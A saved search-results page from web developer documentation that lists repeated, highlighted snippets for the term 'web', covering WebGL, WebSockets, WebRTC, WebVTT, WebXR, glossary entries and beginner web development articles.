Search completed in 1.45 seconds.
What is the difference between webpage, website, web server, and search engine? - Learn web development
Don't worry, we won't overwhelm you with all of it (we have a glossary if you're curious). However, there are a few basic terms you need to understand at the outset, since you'll hear these expressions all the time as you read on. ...
...Don't worry, we won't overwhelm you with all of it (we have a glossary if you're curious). However, there are a few basic terms you need to understand at the outset, since you'll hear these expressions all the time as you read on. ...
...Don't worry, we won't overwhelm you with all of it (we have a glossary if you're curious). However, there are a few basic terms you need to understand at the outset, since you'll hear these expressions all the time as you read on. ...
...And 22 more matches
Web Video Text Tracks Format (WebVTT) - Web APIs
Web Video Text Tracks Format (
WebVTT) is a format for displaying timed text tracks (such as subtitles or captions) using the <track> element. The primary purpose of
WebVTT files is to add text overlays to a <video>.
WebVTT is a text based format, which must be encoded using UTF-8. Where you can use spaces you can also use tabs. There is also a small API available to represent and manage these tracks and the data needed to perform the playback of the text at the correct times.
WebVTT files The MIME type of
WebVTT is text/vtt. A
WebVTT file (.vtt) contains cues, which can be either a single line or multiple lines, as shown below:
WEBVTT 00:01.000 --> 00:04.000 - Never drink liquid nitrogen. 00:05.000 --> 00:09.000 - It will perforate your stomach. - You could die. ...
... The string "
WEBVTT". An optional text header to the right of
WEBVTT. There must be at least one space after
WEBVTT. ...
... The string "
WEBVTT". An optional text header to the right of
WEBVTT. There must be at least one space after
WEBVTT. You could use this to add a description to the file. ...
...And 31 more matches
The web and web standards - Learn web development
This article provides some useful background on the
Web -- how it came about, what
web standard technologies are, how they work together, why "
web developer" is a great career to choose, and what kinds of best practices you'll learn about through the course. Brief history of the
web We'll keep this very brief, as there are many (more) detailed accounts of the
web's history out there, which we'll link to later on (also try searching for "history of the
web" in your favorite search engine and see what you get, if you are interested in more detail.) In the late 1960s, the US military developed a communication network called ARPANET. This can be considered a forerunner of the
Web, as it worked on packet switching, and featured the first implementation of the TCP/IP protocol suite. Th...
...he basis of the infrastructure that the internet is built on. In 1980, Tim Berners-Lee (often referred to as TimBL) wrote a notebook program called ENQUIRE, which featured the concept of links between different nodes. Sound familiar? Fast forward to 1989, and TimBL wrote Information Management: A Proposal and HyperText at CERN; these two publications together provided the background for how the
web would work. They received a fair amount of interest, enough to convince TimBL's bosses to allow him to go ahead and create a global hypertext system. By late 1990, TimBL had created all the things needed to run the first version of the
web -- HTTP, HTML, the first
web browser, which was called WorldWide
Web, an HTTP server, and some
web pages to look at. In the next few years that followed, the ...
... would work. They received a fair amount of interest, enough to convince TimBL's bosses to allow him to go ahead and create a global hypertext system. By late 1990, TimBL had created all the things needed to run the first version of the
web -- HTTP, HTML, the first
web browser, which was called WorldWide
Web, an HTTP server, and some
web pages to look at. In the next few years that followed, the
web exploded, with multiple browsers being released, thousands of
web servers being set up, and millions of
web pages being created. OK, that's a very simple summary of what happened, but I did promise you a brief summary. One last significant data point to share is that in 1994, TimBL founded the World Wide
Web Consortium (W3C), an organization that brings together representatives from many differe...
...And 29 more matches
WebGL: 2D and 3D graphics for the web - Web APIs
WebGL (
Web Graphics Library) is a JavaScript API for rendering high-performance interactive 3D and 2D graphics within any compatible
web browser without the use of plug-ins.
WebGL does so by introducing an API that closely conforms to OpenGL ES 2.0 that can be used in HTML5 <canvas> elements. This conformance makes it possible for the API to take advantage of hardware graphics acceleration provided by the user's device. Support for
WebGL is present in Firefox 4+, Google Chrome 9+, Opera 12+, Safari 5.1+, Internet Explorer 11+, and Microsoft Edge build 10240+; however, the user's device must also have hardware that supports these features. The
WebGL 2 API introduces support for much of the OpenGL ES 3.0 feature set; it's provided through the
WebGL2RenderingContext interface. The <canvas>...
...fox 4+, Google Chrome 9+, Opera 12+, Safari 5.1+, Internet Explorer 11+, and Microsoft Edge build 10240+; however, the user's device must also have hardware that supports these features. The
WebGL 2 API introduces support for much of the OpenGL ES 3.0 feature set; it's provided through the
WebGL2RenderingContext interface. The <canvas> element is also used by the Canvas API to do 2D graphics on
web pages. Reference Standard interfaces
WebGLRenderingContext
WebGL2RenderingContext
WebGLActiveInfo
WebGLBuffer
WebGLContextEvent
WebGLFramebuffer
WebGLProgram
WebGLQuery
WebGLRenderbuffer
WebGLSampler
WebGLShader
WebGLShaderPrecisionFormat
WebGLSync
WebGLTexture
WebGLTransformFeedback
WebGLUniformLocation
WebGLVertexArrayObject Extensions ANGLE_instanced_arrays EXT_bl...
...float_blend EXT_frag_depth EXT_sRGB EXT_shader_texture_lod EXT_texture_compression_bptc EXT_texture_compression_rgtc EXT_texture_filter_anisotropic KHR_parallel_shader_compile OES_element_index_uint OES_fbo_render_mipmap OES_standard_derivatives OES_texture_float OES_texture_float_linear OES_texture_half_float OES_texture_half_float_linear OES_vertex_array_object OVR_multiview2
WEBGL_color_buffer_float
WEBGL_compressed_texture_astc
WEBGL_compressed_texture_atc
WEBGL_compressed_texture_etc
WEBGL_compressed_texture_etc1
WEBGL_compressed_texture_pvrtc
WEBGL_compressed_texture_s3tc
WEBGL_compressed_texture_s3tc_srgb
WEBGL_debug_renderer_info
WEBGL_debug_shaders
WEBGL_depth_texture
WEBGL_draw_buffers
WEBGL_lose_context Events
webglcontextlost
webglcontextresto...
...And 11 more matches
WEBGL_draw_buffers.drawBuffersWEBGL() - Web APIs
The
WEBGL_draw_buffers.drawBuffers
WEBGL() method is part of the
WebGL API and allows you to define the draw buffers to which all fragment colors are written. This method is part of the
WEBGL_draw_buffers extension. Note: When using
WebGL2, this method is available as gl.drawBuffers() by default and the constants are named gl.COLOR_ATTACHMENT1 etc. without the "
WEBGL" suffix. Syntax void gl.getExtension('
WEBGL_draw_buffers').drawBuffers
WEBGL(buffers); Parameters buffers An Array of GLenum constants defining drawing buffers. Possible values: gl.NONE: The fragment shader is not written to any color buffer. gl.BACK: The fragment shader is written to the back color buffer. ...
...named gl.COLOR_ATTACHMENT1 etc. without the "
WEBGL" suffix. Syntax void gl.getExtension('
WEBGL_draw_buffers').drawBuffers
WEBGL(buffers); Parameters buffers An Array of GLenum constants defining drawing buffers. Possible values: gl.NONE: The fragment shader is not written to any color buffer. gl.BACK: The fragment shader is written to the back color buffer. ext.COLOR_ATTACHMENT0_
WEBGL The fragment shader is written the the nth color attachment of the framebuffer. ...
...').drawBuffers
WEBGL(buffers); Parameters buffers An Array of GLenum constants defining drawing buffers. Possible values: gl.NONE: The fragment shader is not written to any color buffer. gl.BACK: The fragment shader is written to the back color buffer. ext.COLOR_ATTACHMENT0_
WEBGL The fragment shader is written the the nth color attachment of the framebuffer. ...
...And 10 more matches
The WebSocket API (WebSockets) - Web APIs
The
WebSocket API is an advanced technology that makes it possible to open a two-way interactive communication session between the user's browser and a server. With this API, you can send messages to a server and receive event-driven responses without having to poll the server for a reply. Note: While a
WebSocket connection is functionally somewhat similar to standard Unix-style sockets, they are not related. Interfaces
WebSocket The primary interface for connecting to a
WebSocket server and then sending and receiving data on the connection. CloseEvent The event sent by the
WebSocket object when the connection closes. MessageEvent The event sent by the
WebSocket object when a message is received from the server. ...
...imilar to standard Unix-style sockets, they are not related. Interfaces
WebSocket The primary interface for connecting to a
WebSocket server and then sending and receiving data on the connection. CloseEvent The event sent by the
WebSocket object when the connection closes. MessageEvent The event sent by the
WebSocket object when a message is received from the server. Guides Writing
WebSocket client applications Writing
WebSocket servers Writing a
WebSocket server in C# Writing a
WebSocket server in Java Tools HumbleNet: A cross-platform networking library that works in the browser. ...
... object when the connection closes. MessageEvent The event sent by the
WebSocket object when a message is received from the server. Guides Writing
WebSocket client applications Writing
WebSocket servers Writing a
WebSocket server in C# Writing a
WebSocket server in Java Tools HumbleNet: A cross-platform networking library that works in the browser. It consists of a C wrapper around
WebSockets and
WebRTC that abstracts away cross-browser differences, facilitating the creation of multi-user networking functionality for games and other apps. u
WebSockets: Highly scalable
WebSocket server and client implementation for C++11 and Node.js. ...
...And 6 more matches
World Wide Web - MDN Web Docs Glossary: Definitions of Web-related terms
The World Wide
Web--commonly referred to as WWW, W3, or the
Web--is an interconnected system of public
webpages accessible through the Internet. The
Web is not the same as the Internet: the
Web is one of many applications built on top of the Internet. Tim Berners-Lee proposed the architecture of what became known as the World Wide
Web. He created the first
web server,
web browser, and
webpage on his computer at the CERN physics research lab in 1990. In 1991, he announced his creation on the alt.hypertext newsgroup, marking the moment the
Web was first made public. The system we know today as "the
Web" consists of several components: The HTTP protocol governs data transfer between a server and a client. ...
...ide
Web. He created the first
web server,
web browser, and
webpage on his computer at the CERN physics research lab in 1990. In 1991, he announced his creation on the alt.hypertext newsgroup, marking the moment the
Web was first made public. The system we know today as "the
Web" consists of several components: The HTTP protocol governs data transfer between a server and a client. To access a
Web component, a client supplies a unique universal identifier, called a URL (uniform resource location) or URI (uniform resource identifier) (formally called Universal Document Identifier (UDI)). HTML (hypertext markup language) is the most common format for publishing
web documents. ...
...r and a client. To access a
Web component, a client supplies a unique universal identifier, called a URL (uniform resource location) or URI (uniform resource identifier) (formally called Universal Document Identifier (UDI)). HTML (hypertext markup language) is the most common format for publishing
web documents. Linking, or connecting resources through hyperlinks, is a defining concept of the
Web, aiding its identity as a collection of connected documents. Soon after inventing the
Web, Tim Berners-Lee founded the W3C (World Wide
Web Consortium) to standardize and develop the
Web further. This consortium consists of core
Web interest groups, such as
web browser developers, government entities, researchers, and universities. Its mission includes education and outreach. Learn more Learn a...
...And 5 more matches
WebGL - MDN Web Docs Glossary: Definitions of Web-related terms
WebGL (
Web Graphics Library) is a JavaScript API that draws interactive 2D and 3D graphics. The Khronos Group maintains
WebGL, which is based on OpenGL ES 2.0. You can invoke
WebGL within the HTML <canvas> element, which provides a rendering surface. All major browsers now support
WebGL, but its availability depends also on external factors (e.g. GPU support). ...
...
WebGL (
Web Graphics Library) is a JavaScript API that draws interactive 2D and 3D graphics. The Khronos Group maintains
WebGL, which is based on OpenGL ES 2.0. You can invoke
WebGL within the HTML <canvas> element, which provides a rendering surface. All major browsers now support
WebGL, but its availability depends also on external factors (e.g. GPU support). ...
...s a JavaScript API that draws interactive 2D and 3D graphics. The Khronos Group maintains
WebGL, which is based on OpenGL ES 2.0. You can invoke
WebGL within the HTML <canvas> element, which provides a rendering surface. All major browsers now support
WebGL, but its availability depends also on external factors (e.g. GPU support). ...
...And 2 more matches
WebSockets - MDN Web Docs Glossary: Definitions of Web-related terms
WebSocket is a protocol that allows for a persistent TCP connection between server and client so they can exchange data at any time. Any client or server application can use
WebSocket, but principally
web browsers and
web servers. Through
WebSocket, servers can pass data to a client without prior client request, allowing for dynamic content updates. ...
...
WebSocket is a protocol that allows for a persistent TCP connection between server and client so they can exchange data at any time. Any client or server application can use
WebSocket, but principally
web browsers and
web servers. Through
WebSocket, servers can pass data to a client without prior client request, allowing for dynamic content updates. ...
... a persistent TCP connection between server and client so they can exchange data at any time. Any client or server application can use
WebSocket, but principally
web browsers and
web servers. Through
WebSocket, servers can pass data to a client without prior client request, allowing for dynamic content updates. ...
...And 2 more matches
WebRTC - MDN Web Docs Glossary: Definitions of Web-related terms
WebRTC (
Web Real-Time Communication) is an API that can be used by video-chat, voice-calling, and P2P-file-sharing
Web apps.
WebRTC consists mainly of these parts: getUserMedia() Grants access to a device's camera and/or microphone, and can plug in their signals to a RTC connection. RTCPeerConnection An interface to configure video chat or voice calls. RTCDataChannel Provides a method to set up a peer-to-peer data pathway between browsers. ...
...deo-chat, voice-calling, and P2P-file-sharing
Web apps.
WebRTC consists mainly of these parts: getUserMedia() Grants access to a device's camera and/or microphone, and can plug in their signals to a RTC connection. RTCPeerConnection An interface to configure video chat or voice calls. RTCDataChannel Provides a method to set up a peer-to-peer data pathway between browsers. ...
...ng, and P2P-file-sharing
Web apps.
WebRTC consists mainly of these parts: getUserMedia() Grants access to a device's camera and/or microphone, and can plug in their signals to a RTC connection. RTCPeerConnection An interface to configure video chat or voice calls. RTCDataChannel Provides a method to set up a peer-to-peer data pathway between browsers. ...
...RTC consists mainly of these parts: getUserMedia() Grants access to a device's camera and/or microphone, and can plug in their signals to a RTC connection. RTCPeerConnection An interface to configure video chat or voice calls. RTCDataChannel Provides a method to set up a peer-to-peer data pathway between browsers. Learn more
WebRTC on Wikipedia
WebRTC API on MDN Browser support for
WebRTC ...
WebDAV - MDN Web Docs Glossary: Definitions of Web-related terms
WebDAV (
Web Distributed Authoring and Versioning) is an HTTP Extension that lets
web developers update their content remotely from a client.
WebDAV is rarely used alone, but two extensions are very common: CalDAV (remote-access calendar) and CardDAV (remote-access address book).
WebDAV allows clients to add, delete, and retrieve
webpage metadata (e.g. ...
...their content remotely from a client.
WebDAV is rarely used alone, but two extensions are very common: CalDAV (remote-access calendar) and CardDAV (remote-access address book).
WebDAV allows clients to add, delete, and retrieve
webpage metadata (e.g. ...
...te-access calendar) and CardDAV (remote-access address book).
WebDAV allows clients to add, delete, and retrieve
webpage metadata (e.g. ...
WebIDL - MDN Web Docs Glossary: Definitions of Web-related terms
WebIDL is the interface description language used to describe the data types, interfaces, methods, properties, and other components which make up a
Web application programming interface (API). It uses a somewhat stylized syntax which is independent of any specific programming language, so that the underlying code which is used to build each API can be written in whatever language is most appropriate, while still being possible to map the API's components to JavaScript-compatible constructs.
WebIDL is used in nearly every API specification for the
Web, and due to its standard format and syntax, the programmers who create
Web browsers can more easily ensure that their browsers are compatible with one another, regardless of how they choose to write the code to implement the API. Learn ...
...he API's components to JavaScript-compatible constructs.
WebIDL is used in nearly every API specification for the
Web, and due to its standard format and syntax, the programmers who create
Web browsers can more easily ensure that their browsers are compatible with one another, regardless of how they choose to write the code to implement the API. ...
...ts to JavaScript-compatible constructs.
WebIDL is used in nearly every API specification for the
Web, and due to its standard format and syntax, the programmers who create
Web browsers can more easily ensure that their browsers are compatible with one another, regardless of how they choose to write the code to implement the API. ...
WebKit - MDN Web Docs Glossary: Definitions of Web-related terms
WebKit is a framework that displays properly-formatted
webpages based on their markup. Apple Safari depends on
WebKit, and so do many mobile browsers (since
WebKit is highly portable and customizable).
WebKit began life as a fork of KDE's KHTML and KJS libraries, but many individuals and companies have since contributed (including KDE, Apple, Google, and Nokia).
WebKit is an Apple trademark, and the framework is distributed under a BSD-form license. However, two important components fall under the LGPL: the
WebCore rendering library and the JavaScriptCore engine. ...
...Kit began life as a fork of KDE's KHTML and KJS libraries, but many individuals and companies have since contributed (including KDE, Apple, Google, and Nokia).
WebKit is an Apple trademark, and the framework is distributed under a BSD-form license. ...
...JS libraries, but many individuals and companies have since contributed (including KDE, Apple, Google, and Nokia).
WebKit is an Apple trademark, and the framework is distributed under a BSD-form license. However, two important components fall under the LGPL: the
WebCore rendering library and the JavaScriptCore engine. ...
WebVTT - MDN Web Docs Glossary: Definitions of Web-related terms
WebVTT (
Web Video Text Tracks) is a W3C specification for a file format marking up text track resources in combination with the HTML <track> element.
WebVTT files provide metadata that is time-aligned with audio or video content like captions or subtitles for video content, text video descriptions, chapters for content navigation, and more. ...
...
WebVTT (
Web Video Text Tracks) is a W3C specification for a file format marking up text track resources in combination with the HTML <track> element.
WebVTT files provide metadata that is time-aligned with audio or video content like captions or subtitles for video content, text video descriptions, chapters for content navigation, and more. ...
...Tracks) is a W3C specification for a file format marking up text track resources in combination with the HTML <track> element.
WebVTT files provide metadata that is time-aligned with audio or video content like captions or subtitles for video content, text video descriptions, chapters for content navigation, and more. ...
Progressive web apps - MDN Web Docs Glossary: Definitions of Web-related terms
Progressive
web apps is a term used to describe the modern state of
web app development. This involves taking standard
web sites/apps that enjoy all the best parts of the
Web -- such as discoverability via search engines, being linkable via URLs, and working across multiple form factors -- and supercharging them with modern APIs (such as Service Workers and Push) and features that confer other benefits more commonly attributed to native apps. These features include being installable, working offline, and being easy to sync with and re-engage the user from the server. ...
...ng linkable via URLs, and working across multiple form factors -- and supercharging them with modern APIs (such as Service Workers and Push) and features that confer other benefits more commonly attributed to native apps. These features include being installable, working offline, and being easy to sync with and re-engage the user from the server. Learn more The App Center on MDN Progressive
web apps on Google Developers ...
Responsive web design - MDN Web Docs Glossary: Definitions of Web-related terms
Responsive
Web Design (RWD) is a
Web development concept focusing on making sites look and behave optimally on all personal computing devices, from desktop to mobile. ...
... Responsive
Web Design (RWD) is a
Web development concept focusing on making sites look and behave optimally on all personal computing devices, from desktop to mobile. ...
WebAssembly - MDN Web Docs Glossary: Definitions of Web-related terms
Wasm) is an open binary programming format that can be run in modern
web browsers in order to gain performance and/or provide new features for
web pages. ...
...
WebAssembly (abbr. Wasm) is an open binary programming format that can be run in modern
web browsers in order to gain performance and/or provide new features for
web pages. ...
Web performance - MDN Web Docs Glossary: Definitions of Web-related terms
Objectively, it is measurable time, in milliseconds, it takes for the
web page or
web application to be downloaded, painted in the user's
web browser, and become responsive and interactive. It is the frames per second and times the main thread is not available for user interactions. Subjectively, it is the user's perception of whether the time it takes between the time the user requests the content and the time until the user feels the content requested is available and usable feels slow or fast. ...
...e user's
web browser, and become responsive and interactive. It is the frames per second and times the main thread is not available for user interactions. Subjectively, it is the user's perception of whether the time it takes between the time the user requests the content and the time until the user feels the content requested is available and usable feels slow or fast. ...
Web standards - MDN Web Docs Glossary: Definitions of Web-related terms
Web standards are rules established by international standards bodies and defining how how the
Web works (and sometimes controlling the Internet as well). Several standards bodies are responsible for defining different aspects of the
Web, and all the standards must coordinate to keep the
Web maximally usable and accessible.
Web standards also must evolve to improve the current status and adapt to new circumstances. This non-exhaustive list gives you an idea of which standards
websites and network systems must conform to: IETF (Internet Engineering Task Force): Internet standards (STD), which among other things govern set-up and use of URIs, HTTP, and MIME W3C: specifications for markup language (e.g., HTML), style definitions (i.e., CSS), DOM, accessibility IANA (Internet Assig...
...f URIs, HTTP, and MIME W3C: specifications for markup language (e.g., HTML), style definitions (i.e., CSS), DOM, accessibility IANA (Internet Assigned Numbers Authority): name and number registries Ecma Intl.: scripting standards, most prominently for JavaScript ISO (International Organization for Standardization): standards governing a diverse array of aspects, including character encodings,
website management, and user-interface design Learn more General knowledge
Web standards on Wikipedia ...
Index - MDN Web Docs Glossary: Definitions of Web-related terms
This glossary provides definitions of words and abbreviations you need to know to successfully understand and build for the
web. 2 404 Glossary, HTTP Errors, Infrastructure, Navigation A 404 is a Standard Response Code meaning that the server cannot find the requested resource. ...
...gs and summary 1 MDN
Web Docs Glossary: Definitions of
Web-related terms Beginner, Definitions, Dictionary, Glossary, Index, Landing, Terminology
Web technologies contain long lists of jargon and abbreviations that are used in documentation and coding. This glossary provides definitions of words and abbreviations you need to know to successfully understand and build for the
web. 2 404 Glossary, HTTP Errors, Infrastructure, Navigation A 404 is a Standard Response Code meaning that the server cannot find the requested resource. 3 502 502, Bad Gateway, Glossary, HTTP Errors, Infrastructure, Navigation An HTTP error code meaning "Bad Gateway". 4 ALPN ALPN, Draft, Glossary, NeedsContent, TLS Application-Layer Pro...
...nfrastructure purposes, especially reverse DNS lookup (i.e., find the domain name for a given IP address). 8 ASCII Glossary, Infrastructure ASCII (American Standard Code for Information Interchange) is one of the most popular coding method used by computers for converting letters, numbers, punctuation and control codes into digital form. Since 2007, UTF-8 superseded it on the
Web. 9 ATAG ATAG, Accessibility, Authoring Tool Accessibility Guidelines, Glossary ATAG (Authoring Tool Accessibility Guidelines) is a W3C recommendation for building accessible-authoring tools that produce accessible contents. 10 Abstraction Abstraction, Coding, CodingScripting, Glossary, Programming Language Abstraction in computer programming is a way to r...
...And 166 more matches
Understanding WebAssembly text format - WebAssembly
To enable
WebAssembly to be read and edited by humans, there is a textual representation of the wasm binary format. This is an intermediate form designed to be exposed in text editors, browser developer tools, etc. This article explains how that text format works, in terms of the raw syntax, and how it is related to the underlying bytecode it represents -- and the wrapper objects representing wasm in JavaScript. Note: This is potentially overkill if you are a
web developer who just wants to load a wasm module into a page and use it in your code (see Using the
WebAssembly JavaScript API), but it is more useful if for example, you want to write wasm modules to optimize the performance of your JavaScript library, or build your own
WebAssembly compiler. S-expressions In both the binary and ...
...l if you are a
web developer who just wants to load a wasm module into a page and use it in your code (see Using the
WebAssembly JavaScript API), but it is more useful if for example, you want to write wasm modules to optimize the performance of your JavaScript library, or build your own
WebAssembly compiler. S-expressions In both the binary and textual formats, the fundamental unit of code in
WebAssembly is a module. In the text format, a module is represented as one big S-expression. S-expressions are a very old and very simple textual format for representing trees, and thus we can think of a module as a tree of nodes that describe the module's structure and its code. ...
...extual formats, the fundamental unit of code in
WebAssembly is a module. In the text format, a module is represented as one big S-expression. S-expressions are a very old and very simple textual format for representing trees, and thus we can think of a module as a tree of nodes that describe the module's structure and its code. Unlike the Abstract Syntax Tree of a programming language, though,
WebAssembly's tree is pretty flat, mostly consisting of lists of instructions. First, let's see what an S-expression looks like. Each node in the tree goes inside a pair of parentheses -- ( ... ). ...
...And 47 more matches
WebGL constants - Web APIs
The
WebGL API provides several constants that are passed into or returned by functions. All constants are of type GLenum. Standard
WebGL constants are installed on the
WebGLRenderingContext and
WebGL2RenderingContext objects, so that you use them as gl.CONSTANT_NAME: var canvas = document.getElementById('myCanvas'); var gl = canvas.getContext('
webgl'); gl.getParameter(gl.LINE_WIDTH); Some constants are also provided by
WebGL extensions. A list is provided below. var debugInfo = gl.getExtension('
WEBGL_debug_renderer_info'); var vendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_
WEBGL); The
WebGL tutorial has more information, examples, and resources on how to get started with
WebGL. ...
...canvas.getContext('
webgl'); gl.getParameter(gl.LINE_WIDTH); Some constants are also provided by
WebGL extensions. A list is provided below. var debugInfo = gl.getExtension('
WEBGL_debug_renderer_info'); var vendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_
WEBGL); The
WebGL tutorial has more information, examples, and resources on how to get started with
WebGL. Table of contents Standard
WebGL 1 constants Standard
WebGL 2 constants
WebGL extension constants Standard
WebGL 1 constants These constants are defined on the
WebGLRenderingContext interface. Clearing buffers Constants passed to
WebGLRenderingContext.clear() to clear buffer masks. Constant name Value Description DEPTH_BUFFER_BIT 0x00000100 Passed to clear to clear the current depth bu...
...uffer masks. Constant name Value Description DEPTH_BUFFER_BIT 0x00000100 Passed to clear to clear the current depth buffer. STENCIL_BUFFER_BIT 0x00000400 Passed to clear to clear the current stencil buffer. COLOR_BUFFER_BIT 0x00004000 Passed to clear to clear the current color buffer. Rendering primitives Constants passed to
WebGLRenderingContext.drawElements() or
WebGLRenderingContext.drawArrays() to specify what kind of primitive to render. Constant name Value Description POINTS 0x0000 Passed to drawElements or drawArrays to draw single points. LINES 0x0001 Passed to drawElements or drawArrays to draw lines. Each vertex connects to the one after it. LINE_LOOP ...
...And 46 more matches
WebGLRenderingContext - Web APIs
The
WebGLRenderingContext interface provides an interface to the OpenGL ES 2.0 graphics rendering context for the drawing surface of an HTML <canvas> element. To get an access to a
WebGL context for 2D and/or 3D graphics rendering, call getContext() on a <canvas> element, supplying "
webgl" as the argument: var canvas = document.getElementById('myCanvas'); var gl = canvas.getContext('
webgl'); Once you have the
WebGL rendering context for a canvas, you can render within it. The
WebGL tutorial has more information, examples, and resources on how to get started with
WebGL. If you require a
WebGL 2.0 context, see
WebGL2RenderingContext; this supplies access to an implementation of OpenGL ES 3.0 graphics. Constants See the
WebGL constants page. ...
...r gl = canvas.getContext('
webgl'); Once you have the
WebGL rendering context for a canvas, you can render within it. The
WebGL tutorial has more information, examples, and resources on how to get started with
WebGL. If you require a
WebGL 2.0 context, see
WebGL2RenderingContext; this supplies access to an implementation of OpenGL ES 3.0 graphics. Constants See the
WebGL constants page. The
WebGL context The following properties and methods provide general information and functionality to deal with the
WebGL context:
WebGLRenderingContext.canvas A read-only back-reference to the HTMLCanvasElement. Might be null if it is not associated with a <canvas> element. ...
...t; this supplies access to an implementation of OpenGL ES 3.0 graphics. Constants See the
WebGL constants page. The
WebGL context The following properties and methods provide general information and functionality to deal with the
WebGL context:
WebGLRenderingContext.canvas A read-only back-reference to the HTMLCanvasElement. Might be null if it is not associated with a <canvas> element.
WebGLRenderingContext.commit() Pushes frames back to the original HTMLCanvasElement, if the context is not directly fixed to a specific canvas.
WebGLRenderingContext.drawingBufferWidth The read-only width of the current drawing buffer. ...
...And 43 more matches
Starting up and shutting down a WebXR session - Web APIs
Assuming you're already familiar with 3D graphics in general and
WebGL in particular, taking that next bold step into mixed reality--the idea of presenting artificial scenery or objects in addition to or in place of the real world--is not overly complicated. Before you can begin to render your augmented or virtual reality scenario, you need to create and set up the
WebXR session, and you should know how to shut it down properly as well. You will learn how to do these things in this article. Accessing the
WebXR API Your app's access to the
WebXR API begins with the XRSystem object. This object represents the overall
WebXR device suite available to you through the hardware and drivers available on the user's equipment. There is a global XRSystem object available for use by your document th...
...s equipment. There is a global XRSystem object available for use by your document through the the Navigator property xr, which returns the XRSystem object if suitable XR hardware is available for your use given the hardware available and your document's environment. ...
...global XRSystem object available for use by your document through the the Navigator property xr, which returns the XRSystem object if suitable XR hardware is available for your use given the hardware available and your document's environment. Thus the simplest code that fetches the XRSystem object is: const xr = navigator.xr; The value of xr will be null or undefined if
WebXR isn't available. ...
...And 39 more matches
Web video codec guide - Web media technologies
mount of loss depends on the codec and how it's configured, but as a general rule, the more compression you achieve, the more loss of detail and fidelity will occur. Some lossless codecs do exist, but they are typically used for archival and storage for local playback rather than for use on a network. This guide introduces the video codecs you're most likely to encounter or consider using on the
web, summaries of their capabilities and any compatibility and utility concerns, and advice to help you choose the right codec for your project's video. Common codecs The following video codecs are those which are most commonly used on the
web. For each codec, the containers (file types) that can support them are also listed. Each codec provides a link to a section below which offers additional det...
...monly used on the
web. For each codec, the containers (file types) that can support them are also listed. Each codec provides a link to a section below which offers additional details about the codec, including specific capabilities and compatibility issues you may need to be aware of. ...
...s) that can support them are also listed. Each codec provides a link to a section below which offers additional details about the codec, including specific capabilities and compatibility issues you may need to be aware of. ...
...And 39 more matches
Server-side web frameworks - Learn web development
Previous Overview: First steps Next The previous article showed you what the communication between
web clients and servers looks like, the nature of HTTP requests and responses, and what a server-side
web application needs to do in order to respond to requests from a
web browser. With this knowledge under our belt, it's time to explore how
web frameworks can simplify these tasks, and give you an idea of how you'd choose a framework for your first server-side
web application. Prerequisites: Basic computer literacy. Basic understanding of how server-side code handles and responds to HTTP requests (see Client-Server overview). ...
...this knowledge under our belt, it's time to explore how
web frameworks can simplify these tasks, and give you an idea of how you'd choose a framework for your first server-side
web application. Prerequisites: Basic computer literacy. Basic understanding of how server-side code handles and responds to HTTP requests (see Client-Server overview). Objective: To understand how
web frameworks can simplify development/maintenance of server-side code and to get readers thinking about selecting a framework for their own development. The following sections illustrate some points using code fragments taken from real
web frameworks. Don't be concerned if it doesn't all make sense now; we'll be working you through the code in our framework-specific modules. Overview Serve...
...orks can simplify development/maintenance of server-side code and to get readers thinking about selecting a framework for their own development. The following sections illustrate some points using code fragments taken from real
web frameworks. Don't be concerned if it doesn't all make sense now; we'll be working you through the code in our framework-specific modules. Overview Server-side
web frameworks (a.k.a. "
web application frameworks") are software frameworks that make it easier to write, maintain and scale
web applications. They provide tools and libraries that simplify common
web development tasks, including routing URLs to appropriate handlers, interacting with databases, supporting sessions and user authorization, formatting output (e.g. HTML, JSON, XML), and improving securi...
...And 38 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
In this article, we'll make use of information introduced in the previous articles in our
WebXR tutorial series to construct an example which animates a rotating cube around which the user can move freely using a VR headset, keyboard, and/or mouse. This will help to solidify your understanding of how the geometry of 3D graphics and VR work, as well as to help ensure you understand the way the functions and data that are used during XR rendering work together. Screenshot of this example in action The core of this example--the spinning, textured, lighted cube--is taken from our
WebGL tutorial series; namely, the penultimate article in the series, covering lighting in
WebGL. While reading this article and the accompanying source code, it's helpful to keep in mind that the display for a 3D ...
...e accompanying source code, it's helpful to keep in mind that the display for a 3D headset is a single screen, divided in half. The left half of the screen is seen only by the left eye, while the right half is only seen by the right eye. Rendering the scene for immersive presentation requires multiple renders of the scene--once from the perspective of each eye. When rendering the left eye, the XR
WebGLLayer has its viewport configured to restrict drawing to the left half of the drawing surface. Contrarily, when rendering the right eye, the viewport is set to restrict drawing to the right half of the surface. This example demonstrates this by showing the canvas on the screen, even when presenting a scene as an immersive display using an XR device. Dependencies While we will not rely upon an...
...f the surface. This example demonstrates this by showing the canvas on the screen, even when presenting a scene as an immersive display using an XR device. Dependencies While we will not rely upon any 3D graphics frameworks such as three.js or the like for this example, we do use the glMatrix library for matrix math, which we've used in other examples in the past. ...
...And 36 more matches
WebGL best practices - Web APIs
WebGL is a complicated API, and it's often not obvious what the recommended ways to use it are. This page tackles recommendations across the spectrum of expertise, and not only highlights dos and don'ts, but also details why. You can rely on this document to guide your choice of approach, and ensure you're on the right track no matter what browser or hardware your users run. General Topics Address and eliminate
WebGL errors Your application should run without generating any
WebGL errors (as returned by getError). Every
WebGL error is reported in the
Web Console as a JavaScript warning with a descriptive message. After too many errors (32 in Firefox),
WebGL stops generating descriptive messages, which really hinders debugging. The only errors a well-formed page generates are OUT_OF_MEMORY...
...
WebGL errors (as returned by getError). Every
WebGL error is reported in the
Web Console as a JavaScript warning with a descriptive message. After too many errors (32 in Firefox),
WebGL stops generating descriptive messages, which really hinders debugging. The only errors a well-formed page generates are OUT_OF_MEMORY and CONTEXT_LOST. Know your limits (and extensions) The availability of most
WebGL extensions depends on the client system. When using
WebGL extensions, if possible, try to make them optional by gracefully adapting to the case there they are not supported. Likewise the limits of your system will be different than your clients' systems! Don't assume you can use thirty texture samplers per shader just because it works on your machine! Take advantage of universally supported W...
...the client system. When using
WebGL extensions, if possible, try to make them optional by gracefully adapting to the case there they are not supported. ...
...And 32 more matches
WebRTC API - Web APIs
WebRTC (
Web Real-Time Communication) is a technology which enables
Web applications and sites to capture and optionally stream audio and/or video media, as well as to exchange arbitrary data between browsers without requiring an intermediary. The set of standards that comprise
WebRTC makes it possible to share data and perform teleconferencing peer-to-peer, without requiring that the user installs plug-ins or any other third-party software.
